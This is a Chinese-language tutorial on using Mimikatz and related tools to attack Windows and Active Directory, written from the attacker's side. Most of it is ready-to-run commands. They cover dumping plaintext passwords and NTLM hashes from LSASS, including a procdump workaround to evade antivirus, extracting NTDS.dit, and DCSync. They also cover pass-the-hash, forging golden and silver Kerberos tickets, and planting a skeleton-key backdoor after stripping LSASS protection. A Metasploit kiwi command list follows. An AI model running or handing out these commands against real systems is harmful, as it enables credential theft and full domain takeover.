mimikazi教程
mimikazi教程
1、简介
1.1、背景介绍
Mimikatz 是从 Windows 系统中收集凭证数据最好的工具之一。由于 Mimikatz 的作者 Benjamin Delpy 是法国人,所以描述关于 Mimikatz 用法的资源都是法语的,至少在他的博客中是这样的。 Mimikatz 的 GitHub 页面是英文的,包括了命令的用法等有用信息。
Mimikatz 是 Benjamin Delpy (@gentilkiwi) 在 2007 年使用 C 语言编写的一个 Windows x32/x64 程序,用于了解更多关于 Windows 的凭据数据(并作为 POC)。
有两个可选的组件能提供一些额外的功能,mimidrv(与 Windows 内核交互的驱动程序)和 mimilib(绕过 AppLocker,验证包/SSP,密码过滤器以及用于 WinDBG 的 sekurlsa)。
Mimikatz 需要管理员或 SYSTEM 权限,通常使用 DEBUG 权限执行某些操作,与 LSASS 进程(取决于所做的操作的要求)进行交互。
Mimikatz 可以通过编译并运行你自己的版本,运行 Mimikatz 可执行文件,利用 Metasploit 脚本,和官方的 PowerShell 版本— Invoke-Mimikatz ,或 Mimikatz 的十多个 PowerShell 变种(我比较偏爱用 PowerShell 写的 Empire,因为它真的很棒!)。
1.2、官方链接
1.3、mimikatz 与凭证
在用户登录之后,会生成很多凭证数据并存储在本地安全权限服务的进程(LSASS)内存中。其目的是为了方便单点登录(SSO)在每次对资源进行访问请求时确保用户不会被提示。凭证数据包括 NTLM 密码哈希,LM 密码哈希(如果密码长度小于 15 个字符),甚至明文密码(以支持其他的 WDigest 和 SSP 认证)。虽然可以阻止 Windows 创建 LM 哈希到本地计算机的 SAM 数据库(或 AD 数据库),但这并不能阻止系统在内存中生成 LM 哈希。默认情况下,在 Windows Server 2008 和 Windows Vista 中不再生成用户的 LM 哈希,除非明确的启用了该功能。从 Windows 8.1 和 Windows Server 2012 R2 开始,LM 哈希和“纯文本”密码将不在内存中生成。此功能也被“移植”到了较早版本的 Windows 中,Windows 7/8/2008 R2/2012 需要打 kb2871997 补丁。为了防止在 LSASS 进程中放置“明文”密码,下面的注册表键需要被设置为“0”(禁用摘要):
#!bash
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest “UseLogonCredential”(DWORD)
2、基本使用
2.1、常用命令
system::user //查看当前登录的用户
process::list //列出进程
process::stop processname //结束进程(有些进程结束不了,即使权限够大)
process::suspend processname //暂停进程
process::modules //列出系统核心模块和其所在的物理路径
service::list //列出系统服务
service::stop(start) service_name //停止(开启)服务
privilege::list //列出系统权限列表
privilege::debug //提升权限 (执行这条命令得有足够的权限)
nogpo::cmd //打开cmd
nogpo::regedit //打开注册表
ts::sessions //显示当前回话
ts::processes //显示当前进程及其PID
sekurlsa::logonpasswords //获取当前在线用户的明文密码(需要高权限运行)
lsadump::lsa /patch //获取当前此计算机存在过用户的NTLMHASH
inject::process lsass.exe '路径' sekurlsa.dll //进程注入(如果用1.0版本获取hash的时候发现sekurlsa模块存
2.2、远程连接使用
1.控制远程的服务器后,‘帮助’对方下载mimikatz,然后以管理员身份运行mimikatz.exe
2.运行下面指令,即可得到当前内网中的所有密码。
privilege::debug //提升权限
sekurlsa::logonpasswords //抓取密码
//非交互式shell中
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt
2.3、本地使用
果对方电脑开了防火墙,装了杀毒软件,如360,火绒,nod32之类的话。可能就不能在对方电脑上使用mimikatz
前面说过,mimikatz是从 lsass.exe进程中获取windows的账号及密码的,
这时,我们可以帮对方安装一个procdump64.exe(这是微软自己的工具,可以放心使用)
然后从 lsass.exe进程里导出一个 包含账号密码信息的lsass.dmp 文件,再把这个dmp文件传回来,最后在自己的环境下运行mimikatz,从 dmp文件里读取信息。
1、安装procdump64.exe
2、从procdump64.exe里导出lsass.dmp
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
3、将lsass.dmp传回本地
4、使用本地的mimikatz.exe读取lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
为了方便复制与查看,可以输出到本地文件里面:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" > pssword.txt
2.4、读取域控成员Hash
2.4.1、域控本地读取
注:得在域控上以域管理员身份执行mimikatz
方法一:直接执行
Copy#提升权限
privilege::debug
抓取密码
lsadump::lsa /patch
方法二:通过 dcsync,利用目录复制服务(DRS)从NTDS.DIT文件中检索密码哈希值,可以在域管权限下执行获取:
Copy#获取所有域用户
lsadump::dcsync /domain:test.com /all /csv
#指定获取某个用户的hash
lsadump::dcsync /domain:test.com /user:test
2.4.2、导出域成员Hash
域账户的用户名和hash密码以域数据库的形式存放在域控制器的 %SystemRoot%\ntds\NTDS.DIT
文件中。
这里可以借助:ntdsutil.exe
,域控制器自带的域数据库管理工具,我们可以通过域数据库,提取出域中所有的域用户信息,在域控上依次执行如下命令,导出域数据库:
#创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
#加载快照
ntdsutil snapshot "mount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit
#Copy文件副本
copy C:\$SNAP_201911211122_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
将ntds.dit文件拷贝到本地利用impacket脚本dump出Hash:
Copysecretsdump.py -ntds.dit -system system.hive LOCAL
最后记得卸载删除快照:
ntdsutil snapshot "unmount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit
ntdsutil snapshot "delete {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit
2.4.3、secretsdump脚本直接导出域hash
为什么要再提一遍secretsdump呢,因为它可以直接导出,说白了,简单粗暴:
Copypython secretsdump.py rabbitmask:123456@192.168.15.181
首先它会导出本地SAM中的hash,然后是所有域内用户的IP,全部获取成功
2.5、哈希传递
2.5.1、工作组环境
当我们获得了一台主机的NTLM哈希值,我们可以使用mimikatz对其进行哈希传递攻击。执行完命令后,会弹出cmd窗口。
#使用administrator用户的NTLM哈希值进行攻击
sekurlsa::pth /user:administrator /domain:192.168.10.15 /ntlm:329153f560eb329c0e1deea55e88a1e9
#使用xie用户的NTLM哈希值进行攻击
sekurlsa::pth /user:xie /domain:192.168.10.15 /ntlm:329153f560eb329c0e1deea55e88a1e9
在弹出的cmd窗口,我们直接可以连接该主机,并且查看该主机下的文件夹。
或者可以直接将该主机的C盘映射到本地的K盘
2.5.2 域环境
在域环境中,当我们获得了域内用户的NTLM哈希值,我们可以使用域内的一台主机用mimikatz对域控进行哈希传递攻击。执行完命令后,会弹出cmd窗口。前提是我们必须拥有域内任意一台主机的本地 administrator 权限和获得了域用户的NTLM哈希值
域:xie.com
域控:WIN2008.xie.com
#使用域管理员administrator的NTLM哈希值对域控进行哈希传递攻击
sekurlsa::pth /user:administrator /domain:"xie.com" /ntlm:dbd621b8ed24eb627d32514476fac6c5
#使用域用户xie的NTLM哈希值对域控进行哈希传递攻击
sekurlsa::pth /user:xie /domain:"xie.com" /ntlm:329153f560eb329c0e1deea55e88a1e9
2.6 票据传递攻击(PTT)
2.6.1 黄金票据
域中每个用户的 Ticket 都是由 krbtgt 的密码 Hash 来计算生成的,因此只要获取到了 krbtgt 用户的密码 Hash ,就可以随意伪造 Ticket ,进而使用 Ticket 登陆域控制器,使用 krbtgt 用户 hash 生成的票据被称为 Golden Ticket,此类攻击方法被称为票据传递攻击。
首先获取krbtgt的用户hash:
mimikatz "lsadump::dcsync /domain:xx.com /user:krbtgt"
利用 mimikatz 生成域管权限的 Golden Ticket,填入对应的域管理员账号、域名称、sid值,如下:
kerberos::golden /admin:administrator /domain:ABC.COM /sid:S-1-5-21-3912242732-2617380311-62526969 /krbtgt:c7af5cfc450e645ed4c46daa78fe18da /ticket:test.kiribi
#导入刚才生成的票据
kerberos::ptt test.kiribi
#导入成功后可获取域管权限
dir \\dc.abc.com\c$
2.6.2 白银票据
黄金票据和白银票据的一些区别:Golden Ticket:伪造TGT,可以获取任何 Kerberos 服务权限,且由 krbtgt 的 hash 加密,金票在使用的过程需要和域控通信
白银票据:伪造 TGS ,只能访问指定的服务,且由服务账号(通常为计算机账户)的 Hash 加密 ,银票在使用的过程不需要同域控通信
#在域控上导出 DC$ 的 HASH
mimikatz log "privilege::debug" "sekurlsa::logonpasswords"
#利用 DC$ 的 Hash制作一张 cifs 服务的白银票据
kerberos::golden /domain:ABC.COM /sid: S-1-5-21-3912242732-2617380311-62526969 /target:DC.ABC.COM /rc4:f3a76b2f3e5af8d2808734b8974acba9 /service:cifs /user:strage /ptt
#cifs是指的文件共享服务,有了 cifs 服务权限,就可以访问域控制器的文件系统
dir \\DC.ABC.COM\C$
2.6.3 skeleton key
skeleton key(万能钥匙)就是给所有域内用户添加一个相同的密码,域内所有的用户 都可以使用这个密码进行认证,同时原始密码也可以使用,其原理是对 lsass.exe 进行注 入,所以重启后会失效。
#在域控上安装 skeleton key
mimikatz.exe privilege::debug "misc::skeleton"
#在域内其他机器尝试使用 skeleton key 去访问域控,添加的密码是 mimikatz
net use \\WIN-9P499QKTLDO.adtest.com\c$ mimikatz /user:adtest\administrator
微软在 2014 年 3 月 12 日添加了 LSA 爆护策略,用来防止对进程 lsass.exe 的代码注入。如果直接尝试添加 skelenton key 会失败。
#适用系统
windows 8.1
windows server 2012 及以上
当然 mimikatz 依旧可以绕过,该功能需要导入mimidrv.sys文件,导入命令如下:
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton
3.6.4 MS14-068
当我们拿到了一个普通域成员的账号后,想继续对该域进行渗透,拿到域控服务器权限。如果域控服务器存在 MS14_068 漏洞,并且未打补丁,那么我们就可以利用 MS14_068 快速获得域控服务器权限。
MS14-068编号 CVE-2014-6324,补丁为 3011780 ,如果自检可在域控制器上使用命令检测。
Copysysteminfo |find "3011780"
#为空说明该服务器存在MS14-068漏洞
操作链接:MS14-068复现(CVE-2014-6324):https://www.cnblogs.com/-mo-/p/11890539.html
3、msf中的kiwi
使用kiwi模块需要system权限,所以我们在使用该模块之前需要将当前MSF中的shell提升为system。提到system有两个方法,一是当前的权限是administrator用户,二是利用其它手段先提权到administrator用户。然后administrator用户可以直接getsystem到system权限
进程迁移
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。
基本使用
load kiwi #加载kiwi模块
help kiwi #查看kiwi模块的使用
creds_all #列举所有凭据,该命令可以列举系统中的明文密码
creds_kerberos #列举所有kerberos凭据
creds_msv #列举所有msv凭据
creds_ssp #列举所有ssp凭据
creds_tspkg #列举所有tspkg凭据
creds_wdigest #列举所有wdigest凭据
dcsync #通过DCSync检索用户帐户信息
dcsync_ntlm #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create #创建黄金票据
kerberos_ticket_list #列举kerberos票据
kerberos_ticket_purge #清除kerberos票据
kerberos_ticket_use #使用kerberos票据
kiwi_cmd #执行mimikatz的命令,该模块可以让我们使用mimikatz的全部功能,后面接mimikatz.exe的命令
lsa_dump_sam #dump出lsa的SAM
lsa_dump_secrets #dump出lsa的密文
password_change #修改密码
wifi_list #列出当前用户的wifi配置文件
wifi_list_shared #列出共享wifi配置文件/编码